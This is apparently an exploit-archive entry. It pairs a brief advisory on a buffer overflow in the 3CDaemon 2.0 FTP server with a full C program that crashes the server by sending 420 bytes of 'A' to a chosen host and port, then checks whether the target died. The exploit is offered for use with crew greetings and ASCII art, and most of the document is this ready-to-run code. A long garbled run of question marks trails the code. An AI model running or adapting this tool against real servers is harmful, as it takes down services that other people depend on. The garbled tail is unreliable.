3CDaemon 2.0 - Buffer Overflow Vulnerability (1)

                                                source: http://www.securityfocus.com/bid/4638/info

3CDaemon is an FTP server developed by Dan Gill of 3Com.

Reportedly, it is possible to initiate a buffer overflow on a host running 3CDaemon.

Submitting an unusually large amount of data to the ftp server, could trigger a stack-based overflow condition. This could potentially allow for malicious users to execute arbitrary code on the server. However, sending random data could cause the application to crash. 

/* MaD SKiLL 'H'
* MsH 4 life! http://www.madskill.tk
* *Private Release*
*
* 3CDaemon 2.0 revision 10 DoS
*
* 11:12 14-4-2002: BOF flaw found by skyrim
*  1:00 15-4-2002: exploit done.
* 23:31 16-4-2002: Edited the exploit slightly, it's a better code now
*
* This program will exploit the buffer overflow vulnerability of
* 3CDaemon 2.0 FTP servers. Sending 400+ chars will make the server crash
* at any time they're send.
*
* Tested on:
* [OS]                                    [version]
*  Windows XP (5.1 - 2600)                 3CDaemon 2.0 revision 10
*
*  ###
* #####      ####                            ##
* ######    ######                         ######
* ######   ########   ########            ########      ######
* ######  ####### ### ###########          ########     #######
* ###### ######## #### ############        ########     #######
* ############### ##### ############        #######     #######
* ############## ######  ############       #######     #######
* ############## #######  ###########        ######    #######
* ############# ########  ### ########       ######  #########
*  ############ ### ####  ### #######        #################
*   ##### ###############  ##########        #################
*    ###  ######### #####  #########         ################
*    #### ######### ##### #########          ################
*     ### ######### #############            ################
*      ## #########  ######                  ######   #######
*          ### ####                          ######   #######
*                                            ######  ########
*                                            ######  ########
*    ####   ## ###### ###  ###        ###    ######  ########
*   ####### ########  ###  ####      #####    #####   #######
*   ###############   ###  ####      #####     #####  #######
*   ####### ########       ####      #####       ##     ###
*   ######  ######### #### ####      #####
*    #####   ######## #### ####       ####
*     ###### ######## #### ####   ### ####   ##
*      ########## ### #### #### ########## ######
*       ######### ### ###########################
*      ##########  ######## #####################
*    #############  ######  ########## ##########
*   ########  #####   ####  ###   ###  ###   ###
*
* I don't know if this will work on versions other then the one I tested it 
on.
* Have fun.
*
* Crew shouts go to: MsH, DFA, uDc
* Personal shouts to: mannie, primus, amok, torment, talented, warsteam, 
frodo, maxxo,
* xo|l, fearless, cybje, kell, frodo, maxxo, and everyone else.
*
* skyrim ([email protected])
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define BOFSIZE 420

char banner(void) { printf("MaD SKiLL 'H' 3CDaemon 2.0 revision 10 
DoS\n.:[MsH]:.\n   ---\n"); }

void E(char *msg) { perror(msg); exit(1); }

main(int argc, char *argv[])
{
    static char ownage[BOFSIZE];
    int sockfd, sockfd2, n;

    struct sockaddr_in server_addr;
    struct hostent *server;

if (argc != 3) {
    fprintf(stderr,"Usage: %s hostname/ip port\n", argv[0]);
    exit(1);
   }
    banner();
    memset(ownage, 'A', BOFSIZE);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) E("Error occured during opening socket");
    server = gethostbyname(argv[1]);
    if (server == NULL) E("Error occured during host lookup -No such 
host?-\n");

    bzero((char *) &server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr,
         (char *)&server_addr.sin_addr.s_addr,
         server->h_length);
    server_addr.sin_port = htons(atoi(argv[2]));
    printf("Connecting to target FTP server... ");
    if (connect(sockfd,&server_addr,sizeof(server_addr)) < 0) { E("Error 
occured during connecting\n"); }
    printf("Connected, Probing BOF... \n");
    n = write(sockfd,ownage,strlen(ownage));
    if (n < 0) { E("Error occured during writing to socket"); }
    close(sockfd);
    sockfd2=socket(AF_INET, SOCK_STREAM, 0);
    printf("Done, checking if server is dead.. \n");
    sleep(5);
    if (connect(sockfd2,&server_addr,sizeof(server_addr)) < 0) { 
printf("Couldn't establish connection: It seems like it died! =)\n"); 
exit(0); }
    printf("Server is still alive. Perhaps its not vulnerable?\n");
    return 0;
}
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????